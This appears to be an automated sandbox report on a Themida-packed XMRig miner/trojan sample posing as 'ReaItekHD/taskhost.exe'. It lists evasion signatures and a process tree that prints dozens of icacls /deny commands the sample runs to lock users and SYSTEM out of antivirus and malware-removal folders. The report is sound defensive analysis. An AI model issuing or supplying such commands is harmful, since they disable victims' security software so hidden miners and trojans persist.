Overview

overview

10

Static

static

10

sss/Install/Del3.bat

windows7-x64

1

sss/Install/Del3.bat

windows10-2004-x64

1

sss/Instal...te.bat

windows7-x64

1

sss/Instal...te.bat

windows10-2004-x64

1

sss/Install/del.bat

windows7-x64

1

sss/Install/del.bat

windows10-2004-x64

1

sss/Install/smss.exe

windows7-x64

10

sss/Install/smss.exe

windows10-2004-x64

10

sss/RDPWinst.exe

windows7-x64

1

sss/RDPWinst.exe

windows10-2004-x64

1

sss/ReaIte...st.exe

windows7-x64

10

sss/ReaIte...st.exe

windows10-2004-x64

10

sss/ReaIte...tw.exe

windows7-x64

9

sss/ReaIte...tw.exe

windows10-2004-x64

9

sss/Window...rv.exe

windows7-x64

10

sss/Window...rv.exe

windows10-2004-x64

10

sss/Window...MD.exe

windows7-x64

1

sss/Window...MD.exe

windows10-2004-x64

1

sss/Window...le.exe

windows7-x64

1

sss/Window...le.exe

windows10-2004-x64

1

sss/Window...st.exe

windows7-x64

1

sss/Window...st.exe

windows10-2004-x64

1

sss/Window...64.sys

windows7-x64

1

sss/Window...64.sys

windows10-2004-x64

1

sss/Window...dg.exe

windows7-x64

9

sss/Window...dg.exe

windows10-2004-x64

9

sss/Window...on.bat

windows7-x64

1

sss/Window...on.bat

windows10-2004-x64

1

Analysis

  • max time kernel
    1052s
  • max time network
    1068s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30-03-2024 23:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sss/ReaItekHD/taskhost.exe

  • Size

    21.7MB

  • MD5

    b2ceb39a1dc0ed07e6e91ebc1131e6af

  • SHA1

    bd5d9ca87727af82c0109d8fdd44fcd090a4302a

  • SHA256

    7f29a1005a7c5c936791c1f9b2a6745286a01467fb15c94beaaf72ac959aee1e

  • SHA512

    c8deb6c184e58fb27f2d760c8740af5a62c4182824e9b48607eb810fa95896c8bcdbf8d50c117f06a620b8f35c3eaa59a9376f8b8b9d27ca17a2b2f2047adb07

  • SSDEEP

    393216:h/f16H6QzwnoD13bPmzcAWOzOutBzA6YG7E3VHEx8OdM8E4BQ4vqd0TEX:hV4SoD13bPmzcAWUA6rE3VHEx86MgKYQ

Score
10/10
xmrigdiscoveryevasionminerthemidatrojan

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Themida packer 64 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • AutoIT Executable 63 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 38 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sss\ReaItekHD\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\sss\ReaItekHD\taskhost.exe"
    1⤵
    • Modifies visiblity of hidden/system files in Explorer
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\system32\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:2912
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Windows\system32\gpupdate.exe
        gpupdate /force
        3⤵
          PID:2520
      • C:\ProgramData\Setup\Packs.exe
        C:\ProgramData\Setup\Packs.exe -ppidar
        2⤵
        • Executes dropped EXE
        PID:2480
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)
        2⤵
          PID:2428
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1240
          • C:\Windows\system32\icacls.exe
            icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
            3⤵
              PID:1668
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)
            2⤵
              PID:1908
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1108
              • C:\Windows\system32\icacls.exe
                icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
                3⤵
                • Modifies file permissions
                PID:1520
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)
              2⤵
                PID:1432
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1916
                • C:\Windows\system32\icacls.exe
                  icacls C:\FRST /deny system:(OI)(CI)(F)
                  3⤵
                  • Modifies file permissions
                  PID:1712
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:944
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)
                  3⤵
                  • Modifies file permissions
                  PID:1532
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1640
                • C:\Windows\system32\icacls.exe
                  icacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)
                  3⤵
                  • Modifies file permissions
                  PID:1656
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1340
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)
                  3⤵
                    PID:1492
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)
                  2⤵
                    PID:828
                    • C:\Windows\system32\icacls.exe
                      icacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)
                      3⤵
                      • Modifies file permissions
                      PID:2448
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)
                    2⤵
                      PID:2684
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)
                        3⤵
                        • Modifies file permissions
                        PID:676
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)
                      2⤵
                        PID:2700
                        • C:\Windows\system32\icacls.exe
                          icacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)
                          3⤵
                          • Modifies file permissions
                          PID:3032
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)
                        2⤵
                          PID:2712
                          • C:\Windows\system32\icacls.exe
                            icacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)
                            3⤵
                              PID:2088
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)
                            2⤵
                              PID:1128
                              • C:\Windows\system32\icacls.exe
                                icacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                3⤵
                                  PID:2716
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)
                                2⤵
                                  PID:1948
                                  • C:\Windows\system32\icacls.exe
                                    icacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                    3⤵
                                    • Modifies file permissions
                                    PID:2792
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)
                                  2⤵
                                    PID:2004
                                    • C:\Windows\system32\icacls.exe
                                      icacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                      3⤵
                                      • Modifies file permissions
                                      PID:1728
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)
                                    2⤵
                                      PID:2352
                                      • C:\Windows\system32\icacls.exe
                                        icacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)
                                        3⤵
                                        • Modifies file permissions
                                        PID:1808
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)
                                      2⤵
                                        PID:2344
                                        • C:\Windows\system32\icacls.exe
                                          icacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)
                                          3⤵
                                          • Modifies file permissions
                                          PID:1204
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)
                                        2⤵
                                          PID:1820
                                          • C:\Windows\system32\icacls.exe
                                            icacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)
                                            3⤵
                                            • Modifies file permissions
                                            PID:2256
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                          2⤵
                                            PID:2744
                                            • C:\Windows\system32\icacls.exe
                                              icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                              3⤵
                                                PID:2092
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                              2⤵
                                                PID:1796
                                                • C:\Windows\system32\icacls.exe
                                                  icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                  3⤵
                                                  • Modifies file permissions
                                                  PID:1120
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                2⤵
                                                  PID:900
                                                  • C:\Windows\system32\icacls.exe
                                                    icacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                    3⤵
                                                    • Modifies file permissions
                                                    PID:2688
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                  2⤵
                                                    PID:1456
                                                    • C:\Windows\system32\icacls.exe
                                                      icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                      3⤵
                                                      • Modifies file permissions
                                                      PID:2844
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                                    2⤵
                                                      PID:2968
                                                      • C:\Windows\system32\icacls.exe
                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:2148
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                      2⤵
                                                        PID:552
                                                        • C:\Windows\system32\icacls.exe
                                                          icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                          3⤵
                                                          • Modifies file permissions
                                                          PID:2828
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)
                                                        2⤵
                                                          PID:2084
                                                          • C:\Windows\system32\icacls.exe
                                                            icacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)
                                                            3⤵
                                                            • Modifies file permissions
                                                            PID:1636
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                          2⤵
                                                            PID:3024
                                                            • C:\Windows\system32\icacls.exe
                                                              icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                              3⤵
                                                                PID:804
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                              2⤵
                                                                PID:3060
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:1612
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                                2⤵
                                                                  PID:2136
                                                                  • C:\Windows\system32\icacls.exe
                                                                    icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:2312
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                                  2⤵
                                                                    PID:932
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:2320
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                    2⤵
                                                                      PID:2876
                                                                      • C:\Windows\system32\icacls.exe
                                                                        icacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                        3⤵
                                                                          PID:2472
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:2728
                                                                          • C:\Windows\system32\icacls.exe
                                                                            icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:2656
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                          2⤵
                                                                            PID:2584
                                                                            • C:\Windows\system32\icacls.exe
                                                                              icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:2596
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                            2⤵
                                                                              PID:2532
                                                                              • C:\Windows\system32\icacls.exe
                                                                                icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:2548
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)
                                                                              2⤵
                                                                                PID:1576
                                                                                • C:\Windows\system32\icacls.exe
                                                                                  icacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  PID:2492
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                                2⤵
                                                                                  PID:2388
                                                                                  • C:\Windows\system32\icacls.exe
                                                                                    icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                                    3⤵
                                                                                    • Modifies file permissions
                                                                                    PID:2480
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)
                                                                                  2⤵
                                                                                    PID:2424
                                                                                    • C:\Windows\system32\icacls.exe
                                                                                      icacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:2504
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                    2⤵
                                                                                      PID:2632
                                                                                      • C:\Windows\system32\icacls.exe
                                                                                        icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                        3⤵
                                                                                          PID:2160
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                        2⤵
                                                                                          PID:2520
                                                                                          • C:\Windows\system32\icacls.exe
                                                                                            icacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                            3⤵
                                                                                            • Modifies file permissions
                                                                                            PID:2408
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                          2⤵
                                                                                            PID:2272
                                                                                            • C:\Windows\system32\icacls.exe
                                                                                              icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              PID:2864
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:2080
                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                icacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:1092
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                              2⤵
                                                                                                PID:1512
                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                  icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  PID:1764
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:1568
                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                    icacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                                    3⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:2644
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)
                                                                                                  2⤵
                                                                                                    PID:1940
                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                      icacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      PID:1516
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                      PID:1736
                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                        icacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                          PID:1544
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:1632
                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                            icacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            PID:1536
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                          2⤵
                                                                                                            PID:1212
                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                              icacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:1832
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:1716
                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                icacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                PID:1492
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:1340
                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                  icacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  PID:2448
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:828
                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                    icacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:676
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                    PID:2684
                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                      icacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                        PID:3032
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                        PID:2700
                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                          icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                            PID:1928
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:2732
                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                              icacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              PID:2468
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:2944
                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:440
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:1948
                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                  icacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:1728
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:2004
                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                    icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:1808
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:2352
                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                      icacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:1204
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:2344
                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                        icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:2256
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:1820
                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                          icacls "C:\ProgramData\Evernote" /deny "Admin":(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:2092
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:2744
                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                            icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:1120
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny "%username%":(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:1796
                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                              icacls "C:\ProgramData\WavePad" /deny "Admin":(OI)(CI)(F)
                                                                                                                                              3⤵
